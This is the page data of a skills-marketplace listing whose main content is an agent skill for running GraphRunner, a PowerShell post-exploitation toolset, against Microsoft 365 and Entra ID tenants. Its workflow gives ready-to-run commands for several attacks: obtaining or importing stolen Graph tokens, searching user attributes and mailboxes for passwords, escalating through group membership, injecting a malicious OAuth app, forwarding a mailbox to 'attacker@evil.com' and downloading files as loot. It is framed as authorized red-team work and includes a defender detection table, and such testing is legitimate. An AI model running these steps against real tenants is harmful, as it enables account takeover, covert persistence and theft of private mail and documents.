[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7DD69BNH0S79R1P9D4M622B":3,"skill-same:01M7DD69BNH0S79R1P9D4M622B":85},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":42,"commitSha":43,"skillDirectory":44,"forksCount":45,"repositoryHtmlUrl":46,"repositoryHomepageUrl":6,"ownerHtmlUrl":47,"ownerBlogUrl":48,"ownerDescription":49,"updatedAt":50,"install":51,"resources":64},"01M7DD69BNH0S79R1P9D4M622B","post-exploiting-microsoft-graph-with-graphrunner",null,"Runs GraphRunner, a PowerShell post-exploitation toolset built on the Microsoft Graph API, to perform tenant recon, establish persistence (OAuth app injection, inbox rules), escalate privilege via group manipulation, and pillage mailboxes, SharePoint, and Teams data from a foothold Graph token. Use during authorized red-team engagements against Microsoft 365\u002FEntra ID tenants once you hold a Graph token.","SaiVatsal\u002FSkills-I-Use","SaiVatsal","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F242597752?v=4","01M7D5YM1T4VXW9203M0GFAHZ1","SaiVatsalPolimera","01M7D5YM2D61ST39XVR2V7B7ZJ",3,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Fpost-exploiting-microsoft-graph-with-graphrunner\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Fpost-exploiting-microsoft-graph-with-graphrunner\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: post-exploiting-microsoft-graph-with-graphrunner\ndescription: Runs GraphRunner, a PowerShell post-exploitation toolset built on\n  the Microsoft Graph API, to perform tenant recon, establish persistence (OAuth\n  app injection, inbox rules), escalate privilege via group manipulation, and pillage\n  mailboxes, SharePoint, and Teams data from a foothold Graph token. Use during\n  authorized red-team engagements against Microsoft 365\u002FEntra ID tenants once you\n  hold a Graph token.\ndomain: cybersecurity\nsubdomain: identity-access-management\ntags:\n- red-team\n- microsoft-graph\n- graphrunner\n- entra-id\n- oauth-abuse\n- account-manipulation\n- post-exploitation\n- m365\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.AA-05\nmitre_attack:\n- T1098\n---\n# Post-Exploiting Microsoft Graph with GraphRunner\n\n> **Authorized use only:** GraphRunner performs offensive actions against live Microsoft 365 \u002F Entra ID tenants — deploying OAuth apps, cloning groups, adding members, and reading mailboxes, SharePoint, and Teams. Run it only against tenants you own or are explicitly authorized in writing to test. Unauthorized use is illegal.\n\n## Overview\n\nGraphRunner (Beau Bullock \u002F Black Hills Information Security) is a PowerShell post-exploitation toolset built entirely on the **Microsoft Graph API**. Given a foothold token, it performs recon, establishes persistence, escalates privilege, and pillages M365 data — all through Graph, which blends in with normal traffic and bypasses many endpoint controls. It is the natural follow-on to credential\u002Ftoken theft (e.g., device-code phishing or ROADtools): once you hold Graph access, GraphRunner operationalizes it.\n\nThe toolset is a single PowerShell module (`GraphRunner.ps1`) exposing dozens of functions grouped by purpose:\n\n- **Authentication** — `Get-GraphTokens` (device-code login), `Invoke-RefreshGraphTokens`, `Invoke-AutoTokenRefresh`, `Invoke-ImportTokens`, `Invoke-RefreshToSharePointToken`.\n- **Recon & Enumeration** — `Invoke-GraphRecon` (tenant\u002Fuser permission summary), `Invoke-DumpCAPS` (conditional-access policies), `Invoke-DumpApps` (app registrations \u002F consent grants), `Get-AzureADUsers`, `Get-SecurityGroups`, `Get-UpdatableGroups`, `Get-DynamicGroups`, `Invoke-SearchUserAttributes`, `Invoke-GraphOpenInboxFinder`, `Find-PermissiveCalendars`.\n- **Persistence** — `Invoke-InjectOAuthApp` (deploy a malicious OAuth app for consent-grant persistence), `Invoke-CreateInboxForwardingRule`.\n- **Privilege Escalation** — `Get-UpdatableGroups`, `Invoke-AddGroupMember`, `Invoke-SecurityGroupCloner`, `Invoke-InviteGuest`.\n- **Pillage \u002F Data Search** — `Invoke-SearchMailbox`, `Invoke-SearchSharePointAndOneDrive`, `Invoke-SearchTeams`, `Get-TeamsChat`, `Invoke-DriveFileDownload`.\n- **Master runner** — `Invoke-GraphRunner` runs an automated recon-and-pillage pass; `List-GraphRunnerModules` prints all modules.\n\nThis maps to MITRE ATT&CK **T1098 — Account Manipulation**: GraphRunner manipulates accounts, groups, and OAuth grants (adding members, injecting apps, cloning groups, inviting guests) to maintain and escalate access in the cloud identity plane.\n\n## When to Use\n\n- After obtaining a valid Microsoft Graph access\u002Frefresh token during an authorized M365\u002FEntra engagement.\n- When mapping tenant permissions, conditional-access policies, and OAuth app exposure.\n- When establishing cloud persistence via OAuth consent grants or inbox forwarding (in scope).\n- When demonstrating privilege escalation through updatable\u002Fdynamic groups.\n- When searching mailboxes, SharePoint\u002FOneDrive, and Teams for sensitive data to evidence impact.\n\n## Prerequisites\n\n- Written authorization and scope for the target tenant.\n- A Graph token foothold (from `Get-GraphTokens` device-code login, or imported tokens).\n- PowerShell 5.1+ or PowerShell 7 (cross-platform).\n\n```powershell\n# Clone and import the module\ngit clone https:\u002F\u002Fgithub.com\u002Fdafthack\u002FGraphRunner.git\ncd GraphRunner\nImport-Module .\\GraphRunner.ps1\n\n# List every available module\nList-GraphRunnerModules\n```\n\n## Objectives\n\n- Authenticate to Microsoft Graph and maintain tokens via refresh.\n- Enumerate tenant users, groups, CA policies, and OAuth apps.\n- Identify updatable groups and demonstrate privilege escalation.\n- Establish persistence via an injected OAuth app and\u002For inbox forwarding rule.\n- Search mailboxes, SharePoint\u002FOneDrive, and Teams for sensitive content.\n\n## MITRE ATT&CK Mapping\n\n| ID | Tactic | Official Technique Name | Role in this skill |\n|----|--------|-------------------------|--------------------|\n| T1098 | Persistence | Account Manipulation | Add group members, clone groups, invite guests to retain\u002Fescalate access |\n| T1098.003 | Privilege Escalation | Account Manipulation: Additional Cloud Roles | Adding members to privileged\u002Fupdatable groups |\n| T1528 | Credential Access | Steal Application Access Token | `Get-GraphTokens` device-code token acquisition |\n| T1087.004 | Discovery | Account Discovery: Cloud Account | `Get-AzureADUsers`, `Invoke-SearchUserAttributes` |\n| T1114.002 | Collection | Email Collection: Remote Email Collection | `Invoke-SearchMailbox` over Graph |\n| T1606.002 | Credential Access | Forge Web Credentials: SAML\u002FOAuth | `Invoke-InjectOAuthApp` consent-grant persistence |\n\n## Workflow\n\n### Step 1: Authenticate and refresh tokens\n\n```powershell\n# Device-code login; complete the code at microsoft.com\u002Fdevicelogin\nGet-GraphTokens\n\n# Refresh the access token when it expires\nInvoke-RefreshGraphTokens\n\n# Keep tokens fresh automatically during a long operation\nInvoke-AutoTokenRefresh\n\n# Import tokens captured elsewhere (e.g., from ROADtools)\nInvoke-ImportTokens -AccessToken $at -RefreshToken $rt\n```\n\n### Step 2: Recon and enumeration\n\n```powershell\n# High-level tenant + current-user permission recon\nInvoke-GraphRecon -Tokens $tokens -PermissionEnum\n\n# Dump conditional-access policies\nInvoke-DumpCAPS -Tokens $tokens -ResolveGuids\n\n# Enumerate app registrations, service principals, and consent grants\nInvoke-DumpApps -Tokens $tokens\n\n# Enumerate all users and security groups\nGet-AzureADUsers -Tokens $tokens -OutFile users.txt\nGet-SecurityGroups -Tokens $tokens\n```\n\n### Step 3: Search user attributes for secrets\n\n```powershell\n# Hunt across all user attributes for terms like \"password\"\nInvoke-SearchUserAttributes -Tokens $tokens -SearchTerm \"password\"\n```\n\n### Step 4: Privilege escalation via updatable groups\n\n```powershell\n# Find groups the current principal can modify directly\nGet-UpdatableGroups -Tokens $tokens\n\n# Add yourself (or a controlled account) to a target group\nInvoke-AddGroupMember -Tokens $tokens -GroupId \u003Cgroup-guid> -UserId \u003Cuser-guid>\n\n# Clone a privileged security group's membership into a new group you control\nInvoke-SecurityGroupCloner -Tokens $tokens\n```\n\n### Step 5: Persistence\n\n```powershell\n# Deploy a malicious OAuth app and walk the consent-grant flow for persistence\nInvoke-InjectOAuthApp -AppName \"Demo App\" -ReplyUrl \"https:\u002F\u002Flocalhost\" -Scope \"openid profile offline_access Mail.Read\"\n\n# Create a hidden inbox forwarding rule on a target mailbox\nInvoke-CreateInboxForwardingRule -Tokens $tokens -ForwardTo \"attacker@evil.com\" -RuleName \"Sync\"\n```\n\n### Step 6: Pillage M365 data\n\n```powershell\n# Search a mailbox (or all reachable mailboxes) for sensitive terms\nInvoke-SearchMailbox -Tokens $tokens -SearchTerm \"password\" -MessageCount 100 -OutFile mail.csv\n\n# Search SharePoint and OneDrive content\nInvoke-SearchSharePointAndOneDrive -Tokens $tokens -SearchTerm \"secret\"\n\n# Download a discovered file\nInvoke-DriveFileDownload -Tokens $tokens -DriveItemIDs \"\u003Cdrive-id>:\u003Citem-id>\" -FileName loot.docx\n\n# Search Teams messages\nInvoke-SearchTeams -Tokens $tokens -SearchTerm \"vpn\"\n```\n\n### Step 7: Automated full pass\n\n```powershell\n# Run the orchestrated recon + pillage workflow end to end\nInvoke-GraphRunner -Tokens $tokens\n```\n\n## Tools and Resources\n\n| Tool | Purpose | Primary Source |\n|------|---------|----------------|\n| GraphRunner (repo) | PowerShell Graph post-exploitation toolset | https:\u002F\u002Fgithub.com\u002Fdafthack\u002FGraphRunner |\n| GraphRunner wiki | Per-module usage guide | https:\u002F\u002Fgithub.com\u002Fdafthack\u002FGraphRunner\u002Fwiki |\n| BHIS GraphRunner blog | Tool release + walkthrough | https:\u002F\u002Fwww.blackhillsinfosec.com\u002Fintroducing-graphrunner\u002F |\n| Microsoft Graph API | API reference for the underlying calls | https:\u002F\u002Flearn.microsoft.com\u002Fgraph\u002Fapi\u002Foverview |\n| ROADtools | Upstream token acquisition \u002F device-code phishing | https:\u002F\u002Fgithub.com\u002Fdirkjanm\u002FROADtools |\n\n## OPSEC and Detection Considerations\n\nGraphRunner is designed to blend with legitimate Graph traffic, but its actions leave a trail defenders can hunt:\n\n| GraphRunner action | Telemetry source | What the defender sees |\n|--------------------|------------------|------------------------|\n| `Get-GraphTokens` (device code) | Entra sign-in logs | Device-code grant from the Azure CLI client (04b07795-...) on an unusual device\u002FIP |\n| `Invoke-InjectOAuthApp` | Entra audit logs | \"Add application\" + \"Consent to application\" events with broad delegated scopes |\n| `Invoke-AddGroupMember` \u002F `Invoke-SecurityGroupCloner` | Entra audit logs | \"Add member to group\" on privileged\u002Frole-assignable groups |\n| `Invoke-CreateInboxForwardingRule` | M365 audit + mailbox rules | New inbox rule forwarding externally (often hidden) |\n| `Invoke-SearchMailbox` \u002F `Invoke-SearchSharePointAndOneDrive` | MicrosoftGraphActivityLogs | High-volume `$search` calls against `\u002Fmessages` and Drive endpoints |\n\nTo reduce noise during an authorized engagement, scope searches with `-MessageCount`, avoid role-assignable group changes unless required, and always remove injected apps with `Invoke-DeleteOAuthApp` and forwarding rules during cleanup.\n\n## Validation Criteria\n\n- [ ] Graph tokens obtained via `Get-GraphTokens` and refreshed successfully.\n- [ ] Tenant recon completed (`Invoke-GraphRecon`, `Invoke-DumpCAPS`, `Invoke-DumpApps`).\n- [ ] Users and security groups enumerated.\n- [ ] User attributes searched for embedded secrets.\n- [ ] Updatable groups identified and a controlled privilege escalation demonstrated.\n- [ ] Persistence established (OAuth app injection and\u002For inbox forwarding) where in scope.\n- [ ] Mailbox, SharePoint\u002FOneDrive, and Teams searched for sensitive data.\n- [ ] All actions, object IDs, and evidence logged for the engagement report and cleanup.\n","# Post-Exploiting Microsoft Graph with GraphRunner\n\n> **Authorized use only:** GraphRunner performs offensive actions against live Microsoft 365 \u002F Entra ID tenants — deploying OAuth apps, cloning groups, adding members, and reading mailboxes, SharePoint, and Teams. Run it only against tenants you own or are explicitly authorized in writing to test. Unauthorized use is illegal.\n\n## Overview\n\nGraphRunner (Beau Bullock \u002F Black Hills Information Security) is a PowerShell post-exploitation toolset built entirely on the **Microsoft Graph API**. Given a foothold token, it performs recon, establishes persistence, escalates privilege, and pillages M365 data — all through Graph, which blends in with normal traffic and bypasses many endpoint controls. It is the natural follow-on to credential\u002Ftoken theft (e.g., device-code phishing or ROADtools): once you hold Graph access, GraphRunner operationalizes it.\n\nThe toolset is a single PowerShell module (`GraphRunner.ps1`) exposing dozens of functions grouped by purpose:\n\n- **Authentication** — `Get-GraphTokens` (device-code login), `Invoke-RefreshGraphTokens`, `Invoke-AutoTokenRefresh`, `Invoke-ImportTokens`, `Invoke-RefreshToSharePointToken`.\n- **Recon & Enumeration** — `Invoke-GraphRecon` (tenant\u002Fuser permission summary), `Invoke-DumpCAPS` (conditional-access policies), `Invoke-DumpApps` (app registrations \u002F consent grants), `Get-AzureADUsers`, `Get-SecurityGroups`, `Get-UpdatableGroups`, `Get-DynamicGroups`, `Invoke-SearchUserAttributes`, `Invoke-GraphOpenInboxFinder`, `Find-PermissiveCalendars`.\n- **Persistence** — `Invoke-InjectOAuthApp` (deploy a malicious OAuth app for consent-grant persistence), `Invoke-CreateInboxForwardingRule`.\n- **Privilege Escalation** — `Get-UpdatableGroups`, `Invoke-AddGroupMember`, `Invoke-SecurityGroupCloner`, `Invoke-InviteGuest`.\n- **Pillage \u002F Data Search** — `Invoke-SearchMailbox`, `Invoke-SearchSharePointAndOneDrive`, `Invoke-SearchTeams`, `Get-TeamsChat`, `Invoke-DriveFileDownload`.\n- **Master runner** — `Invoke-GraphRunner` runs an automated recon-and-pillage pass; `List-GraphRunnerModules` prints all modules.\n\nThis maps to MITRE ATT&CK **T1098 — Account Manipulation**: GraphRunner manipulates accounts, groups, and OAuth grants (adding members, injecting apps, cloning groups, inviting guests) to maintain and escalate access in the cloud identity plane.\n\n## When to Use\n\n- After obtaining a valid Microsoft Graph access\u002Frefresh token during an authorized M365\u002FEntra engagement.\n- When mapping tenant permissions, conditional-access policies, and OAuth app exposure.\n- When establishing cloud persistence via OAuth consent grants or inbox forwarding (in scope).\n- When demonstrating privilege escalation through updatable\u002Fdynamic groups.\n- When searching mailboxes, SharePoint\u002FOneDrive, and Teams for sensitive data to evidence impact.\n\n## Prerequisites\n\n- Written authorization and scope for the target tenant.\n- A Graph token foothold (from `Get-GraphTokens` device-code login, or imported tokens).\n- PowerShell 5.1+ or PowerShell 7 (cross-platform).\n\n```powershell\n# Clone and import the module\ngit clone https:\u002F\u002Fgithub.com\u002Fdafthack\u002FGraphRunner.git\ncd GraphRunner\nImport-Module .\\GraphRunner.ps1\n\n# List every available module\nList-GraphRunnerModules\n```\n\n## Objectives\n\n- Authenticate to Microsoft Graph and maintain tokens via refresh.\n- Enumerate tenant users, groups, CA policies, and OAuth apps.\n- Identify updatable groups and demonstrate privilege escalation.\n- Establish persistence via an injected OAuth app and\u002For inbox forwarding rule.\n- Search mailboxes, SharePoint\u002FOneDrive, and Teams for sensitive content.\n\n## MITRE ATT&CK Mapping\n\n| ID | Tactic | Official Technique Name | Role in this skill |\n|----|--------|-------------------------|--------------------|\n| T1098 | Persistence | Account Manipulation | Add group members, clone groups, invite guests to retain\u002Fescalate access |\n| T1098.003 | Privilege Escalation | Account Manipulation: Additional Cloud Roles | Adding members to privileged\u002Fupdatable groups |\n| T1528 | Credential Access | Steal Application Access Token | `Get-GraphTokens` device-code token acquisition |\n| T1087.004 | Discovery | Account Discovery: Cloud Account | `Get-AzureADUsers`, `Invoke-SearchUserAttributes` |\n| T1114.002 | Collection | Email Collection: Remote Email Collection | `Invoke-SearchMailbox` over Graph |\n| T1606.002 | Credential Access | Forge Web Credentials: SAML\u002FOAuth | `Invoke-InjectOAuthApp` consent-grant persistence |\n\n## Workflow\n\n### Step 1: Authenticate and refresh tokens\n\n```powershell\n# Device-code login; complete the code at microsoft.com\u002Fdevicelogin\nGet-GraphTokens\n\n# Refresh the access token when it expires\nInvoke-RefreshGraphTokens\n\n# Keep tokens fresh automatically during a long operation\nInvoke-AutoTokenRefresh\n\n# Import tokens captured elsewhere (e.g., from ROADtools)\nInvoke-ImportTokens -AccessToken $at -RefreshToken $rt\n```\n\n### Step 2: Recon and enumeration\n\n```powershell\n# High-level tenant + current-user permission recon\nInvoke-GraphRecon -Tokens $tokens -PermissionEnum\n\n# Dump conditional-access policies\nInvoke-DumpCAPS -Tokens $tokens -ResolveGuids\n\n# Enumerate app registrations, service principals, and consent grants\nInvoke-DumpApps -Tokens $tokens\n\n# Enumerate all users and security groups\nGet-AzureADUsers -Tokens $tokens -OutFile users.txt\nGet-SecurityGroups -Tokens $tokens\n```\n\n### Step 3: Search user attributes for secrets\n\n```powershell\n# Hunt across all user attributes for terms like \"password\"\nInvoke-SearchUserAttributes -Tokens $tokens -SearchTerm \"password\"\n```\n\n### Step 4: Privilege escalation via updatable groups\n\n```powershell\n# Find groups the current principal can modify directly\nGet-UpdatableGroups -Tokens $tokens\n\n# Add yourself (or a controlled account) to a target group\nInvoke-AddGroupMember -Tokens $tokens -GroupId \u003Cgroup-guid> -UserId \u003Cuser-guid>\n\n# Clone a privileged security group's membership into a new group you control\nInvoke-SecurityGroupCloner -Tokens $tokens\n```\n\n### Step 5: Persistence\n\n```powershell\n# Deploy a malicious OAuth app and walk the consent-grant flow for persistence\nInvoke-InjectOAuthApp -AppName \"Demo App\" -ReplyUrl \"https:\u002F\u002Flocalhost\" -Scope \"openid profile offline_access Mail.Read\"\n\n# Create a hidden inbox forwarding rule on a target mailbox\nInvoke-CreateInboxForwardingRule -Tokens $tokens -ForwardTo \"attacker@evil.com\" -RuleName \"Sync\"\n```\n\n### Step 6: Pillage M365 data\n\n```powershell\n# Search a mailbox (or all reachable mailboxes) for sensitive terms\nInvoke-SearchMailbox -Tokens $tokens -SearchTerm \"password\" -MessageCount 100 -OutFile mail.csv\n\n# Search SharePoint and OneDrive content\nInvoke-SearchSharePointAndOneDrive -Tokens $tokens -SearchTerm \"secret\"\n\n# Download a discovered file\nInvoke-DriveFileDownload -Tokens $tokens -DriveItemIDs \"\u003Cdrive-id>:\u003Citem-id>\" -FileName loot.docx\n\n# Search Teams messages\nInvoke-SearchTeams -Tokens $tokens -SearchTerm \"vpn\"\n```\n\n### Step 7: Automated full pass\n\n```powershell\n# Run the orchestrated recon + pillage workflow end to end\nInvoke-GraphRunner -Tokens $tokens\n```\n\n## Tools and Resources\n\n| Tool | Purpose | Primary Source |\n|------|---------|----------------|\n| GraphRunner (repo) | PowerShell Graph post-exploitation toolset | https:\u002F\u002Fgithub.com\u002Fdafthack\u002FGraphRunner |\n| GraphRunner wiki | Per-module usage guide | https:\u002F\u002Fgithub.com\u002Fdafthack\u002FGraphRunner\u002Fwiki |\n| BHIS GraphRunner blog | Tool release + walkthrough | https:\u002F\u002Fwww.blackhillsinfosec.com\u002Fintroducing-graphrunner\u002F |\n| Microsoft Graph API | API reference for the underlying calls | https:\u002F\u002Flearn.microsoft.com\u002Fgraph\u002Fapi\u002Foverview |\n| ROADtools | Upstream token acquisition \u002F device-code phishing | https:\u002F\u002Fgithub.com\u002Fdirkjanm\u002FROADtools |\n\n## OPSEC and Detection Considerations\n\nGraphRunner is designed to blend with legitimate Graph traffic, but its actions leave a trail defenders can hunt:\n\n| GraphRunner action | Telemetry source | What the defender sees |\n|--------------------|------------------|------------------------|\n| `Get-GraphTokens` (device code) | Entra sign-in logs | Device-code grant from the Azure CLI client (04b07795-...) on an unusual device\u002FIP |\n| `Invoke-InjectOAuthApp` | Entra audit logs | \"Add application\" + \"Consent to application\" events with broad delegated scopes |\n| `Invoke-AddGroupMember` \u002F `Invoke-SecurityGroupCloner` | Entra audit logs | \"Add member to group\" on privileged\u002Frole-assignable groups |\n| `Invoke-CreateInboxForwardingRule` | M365 audit + mailbox rules | New inbox rule forwarding externally (often hidden) |\n| `Invoke-SearchMailbox` \u002F `Invoke-SearchSharePointAndOneDrive` | MicrosoftGraphActivityLogs | High-volume `$search` calls against `\u002Fmessages` and Drive endpoints |\n\nTo reduce noise during an authorized engagement, scope searches with `-MessageCount`, avoid role-assignable group changes unless required, and always remove injected apps with `Invoke-DeleteOAuthApp` and forwarding rules during cleanup.\n\n## Validation Criteria\n\n- [ ] Graph tokens obtained via `Get-GraphTokens` and refreshed successfully.\n- [ ] Tenant recon completed (`Invoke-GraphRecon`, `Invoke-DumpCAPS`, `Invoke-DumpApps`).\n- [ ] Users and security groups enumerated.\n- [ ] User attributes searched for embedded secrets.\n- [ ] Updatable groups identified and a controlled privilege escalation demonstrated.\n- [ ] Persistence established (OAuth app injection and\u002For inbox forwarding) where in scope.\n- [ ] Mailbox, SharePoint\u002FOneDrive, and Teams searched for sensitive data.\n- [ ] All actions, object IDs, and evidence logged for the engagement report and cleanup.\n",{"name":5,"tags":25,"author":34,"domain":35,"license":15,"version":36,"nist_csf":37,"subdomain":39,"description":7,"mitre_attack":40},[26,27,28,29,30,31,32,33],"red-team","microsoft-graph","graphrunner","entra-id","oauth-abuse","account-manipulation","post-exploitation","m365","mahipal","cybersecurity","1.0",[38],"PR.AA-05","identity-access-management",[41],"T1098","main","8a3b3de73262a4c4db64523949360f3c599c2fb1","Anthropic-Cybersecurity-Skills-main\u002Fskills\u002Fpost-exploiting-microsoft-graph-with-graphrunner",0,"https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use","https:\u002F\u002Fgithub.com\u002FSaiVatsal","https:\u002F\u002Fsaivatsal.github.io\u002FPortfolio\u002F","The Longer It Takes The Stronger It Becomes ","2026-09-21 22:45:58",{"source":8,"skillName":5,"commands":52,"prompt":62,"zipAvailable":63},[53,56,59],{"tool":54,"command":55},"npx","npx skills add SaiVatsal\u002FSkills-I-Use --skill post-exploiting-microsoft-graph-with-graphrunner",{"tool":57,"command":58},"bunx","bunx skills add SaiVatsal\u002FSkills-I-Use --skill post-exploiting-microsoft-graph-with-graphrunner",{"tool":60,"command":61},"pnpm","pnpm dlx skills add SaiVatsal\u002FSkills-I-Use --skill post-exploiting-microsoft-graph-with-graphrunner","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Fpost-exploiting-microsoft-graph-with-graphrunner\u002FSKILL.md",true,[65,69,75,79],{"path":66,"resourceType":66,"resourceTypeDesc":67,"sizeBytes":68,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":70,"resourceType":71,"resourceTypeDesc":72,"sizeBytes":73,"sourceHtmlUrl":74},"references\u002Fapi-reference.md","REFERENCE","参考文档",3696,"https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Fpost-exploiting-microsoft-graph-with-graphrunner\u002Freferences\u002Fapi-reference.md",{"path":76,"resourceType":71,"resourceTypeDesc":72,"sizeBytes":77,"sourceHtmlUrl":78},"references\u002Fstandards.md",1664,"https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Fpost-exploiting-microsoft-graph-with-graphrunner\u002Freferences\u002Fstandards.md",{"path":80,"resourceType":81,"resourceTypeDesc":82,"sizeBytes":83,"sourceHtmlUrl":84},"scripts\u002Fagent.py","SCRIPT","脚本",6393,"https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Fpost-exploiting-microsoft-graph-with-graphrunner\u002Fscripts\u002Fagent.py",[86,94,102,111,118,125],{"skillNo":87,"name":88,"nameZh":6,"description":89,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":90,"sourceHtmlUrl":91,"categories":92,"keywords":93,"publishedAt":20},"01M7DJZP6E6KMBQV4CZSDPZEZ8","webapp-testing","Toolkit for interacting with and testing local web applications using Playwright. Supports verifying frontend functionality, debugging UI behavior, capturing browser screenshots, and viewing browser logs.","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fwebapp-testing\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fwebapp-testing\u002FSKILL.md",[],[],{"skillNo":95,"name":96,"nameZh":6,"description":97,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":98,"sourceHtmlUrl":99,"categories":100,"keywords":101,"publishedAt":20},"01M7DJZFTS5TS06K2TV3MDTE67","web-artifacts-builder","Suite of tools for creating elaborate, multi-component claude.ai HTML artifacts using modern frontend web technologies (React, Tailwind CSS, shadcn\u002Fui). Use for complex artifacts requiring state management, routing, or shadcn\u002Fui components - not for simple single-file HTML\u002FJSX artifacts.","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fweb-artifacts-builder\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fweb-artifacts-builder\u002FSKILL.md",[],[],{"skillNo":103,"name":104,"nameZh":6,"description":105,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":106,"licenseFileUrl":107,"sourceHtmlUrl":108,"categories":109,"keywords":110,"publishedAt":20},"01M7DJRK4SRQ908F2TJM6EZ7EV","ui-styling","Create beautiful, accessible user interfaces with shadcn\u002Fui components (built on Radix UI + Tailwind), Tailwind CSS utility-first styling, and canvas-based visual designs. Use when building user interfaces, implementing design systems, creating responsive layouts, adding accessible components (dialogs, dropdowns, forms, tables), customizing themes and colors, implementing dark mode, generating visual designs and posters, or establishing consistent styling patterns across applications.","MIT","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fui-ux-pro-max-skill-main\u002Fcli\u002Fassets\u002Fskills\u002Fui-styling\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fui-ux-pro-max-skill-main\u002Fcli\u002Fassets\u002Fskills\u002Fui-styling\u002FSKILL.md",[],[],{"skillNo":112,"name":113,"nameZh":6,"description":114,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":106,"licenseFileUrl":6,"sourceHtmlUrl":115,"categories":116,"keywords":117,"publishedAt":20},"01M7DJR902059VEQP23PVM2WA0","design","Comprehensive design skill: brand identity, design tokens, UI styling, logo generation (55 styles, Gemini AI), corporate identity program (50 deliverables, CIP mockups), HTML presentations (Chart.js), banner design (22 styles, social\u002Fads\u002Fweb\u002Fprint), icon design (15 styles, SVG, Gemini 3.1 Pro), social photos (HTML→screenshot, multi-platform). Actions: design logo, create CIP, generate mockups, build slides, design banner, generate icon, create social photos, social media images, brand identity, design system. Platforms: Facebook, Twitter, LinkedIn, YouTube, Instagram, Pinterest, TikTok, Threads, Google Ads.","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fui-ux-pro-max-skill-main\u002Fcli\u002Fassets\u002Fskills\u002Fdesign\u002FSKILL.md",[],[],{"skillNo":119,"name":120,"nameZh":6,"description":121,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":106,"licenseFileUrl":6,"sourceHtmlUrl":122,"categories":123,"keywords":124,"publishedAt":20},"01M7DJR56QF5N6XYTCPCFHFMNP","design-system","Token architecture, component specifications, and slide generation. Three-layer tokens (primitive→semantic→component), CSS variables, spacing\u002Ftypography scales, component specs, strategic slide creation. Use for design tokens, systematic design, brand-compliant presentations.","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fui-ux-pro-max-skill-main\u002Fcli\u002Fassets\u002Fskills\u002Fdesign-system\u002FSKILL.md",[],[],{"skillNo":126,"name":127,"nameZh":6,"description":128,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":106,"licenseFileUrl":6,"sourceHtmlUrl":129,"categories":130,"keywords":131,"publishedAt":20},"01M7DJQXB6M0SFF7NX8J5N01AH","banner-design","Design banners for social media, ads, website heroes, creative assets, and print. Multiple art direction options with AI-generated visuals. Actions: design, create, generate banner. Platforms: Facebook, Twitter\u002FX, LinkedIn, YouTube, Instagram, Google Display, website hero, print. Styles: minimalist, gradient, bold typography, photo-based, illustrated, geometric, retro, glassmorphism, 3D, neon, duotone, editorial, collage. Uses ui-ux-pro-max, frontend-design, ai-artist, ai-multimodal 